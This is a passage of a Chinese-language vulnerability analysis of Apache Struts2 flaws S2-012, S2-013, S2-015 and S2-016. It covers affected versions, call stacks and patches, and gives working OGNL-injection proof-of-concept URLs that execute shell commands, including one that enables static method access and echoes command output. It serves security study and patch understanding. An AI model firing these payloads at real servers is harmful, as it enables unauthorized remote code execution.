src="https://wechat2rss.xlab.app/img-proxy/?k=071a8e84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWt69qCHPYotnlAXicCRWBgIccffmT7ic5c756dq5ETfXqEkOabRzVmAjAg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">漏洞成因其实就是把造成RCE的位置从参数名改到了参数值的位置，从而绕过了003和005补丁中对参数名的正则过滤，在OGNL中造成RCE的成因在上面已经分析完毕，不再重复。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">这次漏洞修复分为了两个部分，</span></p><p><span style="font-size: 14px;">1. 加强了对参数名正则的限制，使形如`a[(password)(glassy)]`的参数名被过滤掉了。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.05588993981083405" data-s="300,640" style="" data-type="png" data-w="2326" src="https://wechat2rss.xlab.app/img-proxy/?k=41ce0bfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtF7sHno1IiaZWibX1ic5SuibPjJicl4DBGGTY6IdOjIOjnE2xKPwibezicjD2w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">2. 在将param传给ognl的时候会去检查生成的AST树是否具有执行权限，如果有的话，就会抛出异常。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2028368794326241" data-s="300,640" style="" data-type="png" data-w="1410" src="https://wechat2rss.xlab.app/img-proxy/?k=e6c9848b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtUhmtljibBxGI312FAY5bTRvp1xfkEJcoaoFKiaqFGnqubTetFVx6abbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-012</span></p><p style="text-align: left;"><span style="font-size: 16px;"><strong>适用版本：Struts Showcase 2.0.0 - Struts Showcase 2.3.14.2</strong></span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">低版本struts，即还没引入allowStaticMethodAccess的poc </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{&#34;/bin/bash&#34;, &#34;-c&#34;, &#34;open </span></code><code><span class="code-snippet_outer">/Applications/Notes.app/&#34;})).start()}</span></code></pre></section><p><span style="font-size: 14px;">这次的poc没有使用Runtime类而改用了ProcessBuilder类，这个类有一个优势，它不是静态类，命令执行的时候调用的start方法也不是静态方法，不受OgnlValueStack类的allowStaticMethodAccess值的限制。（注意一下，这个poc也要url编码和S2-001一样的原因）</span></p><p><span style="font-size: 14px;">在showcase app中的利用位置，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6470588235294118" data-s="300,640" style="" data-type="png" data-w="952" src="https://wechat2rss.xlab.app/img-proxy/?k=4abd8bff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtCKgemMqxiaLAMQvPElmICyk8rwl0u8Hwg3cc5Y8YQuyhX828tCJAHPg%2F640%3Fwx_fmt%3Dpng"/></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">造成这个RCE的问题出在了重定向上，当需要从ST2的值栈中读取数据作为重定向的参数，而这个值又是前端可控的情况下可以造成RCE。（也就是说其实不在showcase app中有类似场景也能造成RCE,只是这种情景比较少见。）</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;action name=<span class="code-snippet__string">&#34;save&#34;</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span></span>=<span class="code-snippet__string">&#34;org.apache.struts2.showcase.action.SkillAction&#34;</span> method=<span class="code-snippet__string">&#34;save&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    <span class="xml"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">result</span> <span class="code-snippet__attr">type</span>=<span class="code-snippet__string">&#34;redirect&#34;</span>&gt;</span>edit.action?skillName=${currentSkill.name}<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">result</span>&gt;</span></span></span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__regexp">/action&gt;</span></span></code></pre></section><p><br/></p><p><span style="font-size: 14px;">看一下调用栈，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6231060606060606" data-s="300,640" style="" data-type="png" data-w="1056" src="https://wechat2rss.xlab.app/img-proxy/?k=13a6c3e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtfnocceBPtCNlvG5KzvAPUC104eQOnsbhDt0Vf0MOOZ44dBgMaVLDEQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">因为这一次造成RCE是重定向的时候，这个时候各个Interceptor已经处理完传来的数据，RCE的调用也是从DefaultActionInvocation.executeResult往后走，</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">往后走后需要计算重定向的值，而重定向的值需要从stack中去取，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6107091172214182" data-s="300,640" style="" data-type="png" data-w="1382" src="https://wechat2rss.xlab.app/img-proxy/?k=a1a7d3a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtxm64pPGYYXHGgtdibCrOUvgfSp8XBSYibaYFRmVyY4e8YoocMUPCU8jw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">而stack处理取值的时候是使用递归的方式取值，首先取出currentSkill.name的值，发现值是ognl表达式，然后再去调ognl.getValue从而造成了RCE</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7653333333333333" data-s="300,640" style="" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=0a0e5792&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYedoI8Ir6YXjqcTstLqmpDN1ribSHhyE5OWdVqBO9LMCNyAic7NErjpQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">其实currentSkill.name在进入ognl.setValue的时候同样进入了之前修复001的时候的补丁代码，那么为什么这一次补丁代码没有生效呢。</span></p><p><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">原因就在于下图，之前的补丁修复方式就是把递归的pos放到了计算的结果后面，比如如果计算完了%{password}的值，下一次计算是从%{password}后面开始计算，然而这个补丁中有一个会重置pos为0的循环，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.42710120068610635" data-s="300,640" style="" data-type="png" data-w="1166" src="https://wechat2rss.xlab.app/img-proxy/?k=7c857c14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtLhB2b1qibFN1eVLmwicxH0CBQwZqFxDA38gkaSjdtRg9MF4E1gsoAgTw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">之前补丁能生效，是因为处理param的时候openChar只有1个字符，无法重置pos，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.22255192878338279" data-s="300,640" style="" data-type="png" data-w="1348" src="https://wechat2rss.xlab.app/img-proxy/?k=372f2732&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtBrZico7aicVkFGa2PPNIXeVluBuS98EsyDic2v6u64yOXvXWpRY75P5wQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">而使用重定向的功能的时候，传给evaluate的函数有两个openChar，从而导致循环的时候把本应该值是135（payload的长度）的pos重置为了0，从而重新把payload带入了ognl，造成了RCE。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.081145584725537" data-s="300,640" style="" data-type="png" data-w="1676" src="https://wechat2rss.xlab.app/img-proxy/?k=b1993921&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtrRw2fRcrmnzrxbpjpuf5cB9fupY55QlpPnngwWCib9Qeu1ibJ51KzFNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">使用这次修复代码十分简单，把pos=0放到了for循环外，防止对openChar做循环的时候把pos重置成0了。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2848689771766695" data-s="300,640" style="" data-type="png" data-w="2366" src="https://wechat2rss.xlab.app/img-proxy/?k=e7b0dd50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtr7fTsj97oNewdV0lMUIIxehKkGOUMAZibiaTGdxqxvzZdSX1pnrlT94g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-013</span></p><p><span style="font-size: 16px;"><strong>适用版本：2.0.0 - 2.3.14.1</strong></span></p><p><span style="font-size: 16px;"><strong><br/></strong></span></p><p><span style="font-size: 14px;">013的利用场景比012还要苛刻，需要jsp的s:url或者s:a标签中的includeParams属性为all或者get，我这边给出我写的示例jsp</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;%@ taglib prefix=&#34;s&#34; uri=&#34;/struts-tags&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page contentType=&#34;text/html;charset=UTF-8&#34; language=&#34;java&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;html&gt;</span></code><code><span class="code-snippet_outer">&lt;head&gt;</span></code><code><span class="code-snippet_outer">    &lt;title&gt;ST2-013 Test&lt;/title&gt;</span></code><code><span class="code-snippet_outer">&lt;/head&gt;</span></code><code><span class="code-snippet_outer">&lt;body&gt;</span></code><code><span class="code-snippet_outer">&lt;a href=&#39;&lt;s:url action=&#34;hello&#34; includeParams=&#34;all&#34;/&gt;&#39;&gt;test&lt;/a&gt;</span></code><code><span class="code-snippet_outer">&lt;/body&gt;</span></code><code><span class="code-snippet_outer">&lt;/html&gt;</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d" target="_blank">http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d</a></span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">文字说明一下造成rce的流程：jsp通过s:url或s:a标签来动态生成跳转的action的时候，如果想把jsp里面的参数带到action的后面，就需要配置includeParams，这样的话服务端就会先去拿到jsp的参数，并带到ST2的ognl里面计算一下这个参数再去拼接到action后面，从而造成了rce。</span></p><p><span style="font-size: 14px;">调用栈如下，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7881040892193308" data-s="300,640" style="" data-type="png" data-w="1076" src="https://wechat2rss.xlab.app/img-proxy/?k=bef02811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWt4jCD4ib4IMNVXNUTO56ms9cEEPLOQRWnuYhIxzZCSlJ3p9ttgcKiabxQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">buildParameterSubstring会把传入的参数的值放到translateVariables函数中，而translateVariables就把值交给了ognl的getValue从而造成了RCE。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.14831981460023175" data-s="300,640" style="" data-type="png" data-w="1726" src="https://wechat2rss.xlab.app/img-proxy/?k=45941005&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtNjQPSPKvauF2M1dTnm1qG5VsjRKHvJeJMgrk8sxozTFKPGV7gzviaGg%2F640%3Fwx_fmt%3Dpng"/></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">只对传过来的参数做一下urlencode，不在放到ognl里面去计算了。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.13990267639902676" data-s="300,640" style="" data-type="png" data-w="1644" src="https://wechat2rss.xlab.app/img-proxy/?k=74bda680&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtxany6TStiayKRu50EKOw6a9WHKGJMRqGwclia1pOqE4BDmdVNJC2mUFQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-015</span></p><p><span style="font-size: 16px;"><strong>适用版本：2.0.0 - 2.3.14.2</strong></span></p><p><span style="font-size: 16px;"><strong><br/></strong></span></p><p><span style="font-size: 14px;">这个poc也是对服务端配置有一点要求的，它要求当ST2使用通配符‘*’来做action映射的时候才能利用成功。</span></p><p><span style="font-size: 14px;">配置在struts.xml中，示例如下</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;action name=&#34;*&#34; class=&#34;example.ExampleSupport&#34;&gt;</span></code><code><span class="code-snippet_outer">    &lt;result&gt;/example/{1}.jsp&lt;/result&gt;</span></code><code><span class="code-snippet_outer">&lt;/action&gt;</span></code></pre></section><p><span style="font-size: 14px;">ST2处理通配符配置的action映射的时候流程是这样的：如果一个请求的action在映射中不存在，那么就会去匹配通配符，ST2会根据请求的action名来加载对应的jsp文件。以上面的配置为例子，当请求一个struts.xml中不存在的test.action的时候，ST2就会去吧/example/test.jsp的内容返回给前端。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">实用POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action" target="_blank">http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action</a></span></code></pre></section><p><span style="font-size: 14px;">这一次的poc给出了实用版本的poc，主要原因在于之前的简易poc都是以打开计算器为实例，而这一次由于造成rce的位置在路径位置，导致带有 ‘/’ 的命令无法进入到ST2的ognl，所以只能使用ifconfig这种简单的命令，想验证执行就需要有回显（这里指的是mac下的复现情况）。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">先看调用栈，</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5956175298804781" data-s="300,640" style="" data-type="png" data-w="1004" src="https://wechat2rss.xlab.app/img-proxy/?k=1b29afbf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtl5z6GJibXetMkWaGXnsfYBO90Lia2kf3xt3F5dLIMkHGIL1OldPGW9TQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">这个漏洞的触发流程和012的流程差不多，012是在各个Interceptor处理完毕，开始计算重定向位置的时候造成的RCE,015是在各个Interceptor处理完毕，计算定向的jsp的时候造成的RCE,RCE的调用</span><span style="font-size: 14px;">也是从DefaultActionInvocation.executeResult往后走,</span></p><p style="text-align: left;"><span style="font-size: 14px;">具体的数据流也是和012相差无几的，这里就不再详细分析。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">修复就是对actionname做了正则限制。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3493150684931507" data-s="300,640" style="" data-type="png" data-w="2336" src="https://wechat2rss.xlab.app/img-proxy/?k=788105c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtQ3aVdHuMuguCKcVg3oS5ic4Br3EINGZeuS1gLnoTKZcA0JobleH11LQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 17px;">S2-016</span></p><p><span style="font-size: 16px;"><strong>适用版本：2.0.0 - 2.3.15</strong></span></p><p><span style="font-size: 16px;"><strong><br/></strong></span></p><p><span style="font-size: 14px;">ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化，后面用来跟一个期望的导航目标表达式。一看到这两个写法后面跟的是表达式，一定意义上就看到了RCE的可能性。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">http</span>://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:<span class="code-snippet__number">%24</span><span class="code-snippet__number">%7</span>b<span class="code-snippet__number">%23</span>a<span class="code-snippet__number">%3</span>d(new+java.lang.ProcessBuilder(new+java.lang.String<span class="code-snippet__number">%5</span>b<span class="code-snippet__number">%5</span>d<span class="code-snippet__number">%7</span>b<span class="code-snippet__number">%27</span><span class="code-snippet__number">%2</span>fbin<span class="code-snippet__number">%2</span>fbash<span class="code-snippet__number">%27</span><span class="code-snippet__number">%2</span>c+<span class="code-snippet__number">%27</span>-c<span class="code-snippet__number">%27</span><span class="code-snippet__number">%2</span>c<span class="code-snippet__number">%27</span>open+<span class="code-snippet__number">%2</span>fApplications<span class="code-snippet__number">%2</span>fNotes.app<span class="code-snippet__number">%2</span>f<span class="code-snippet__number">%27</span><span class="code-snippet__number">%7</span>d)).start()<span class="code-snippet__number">%7</span>d</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 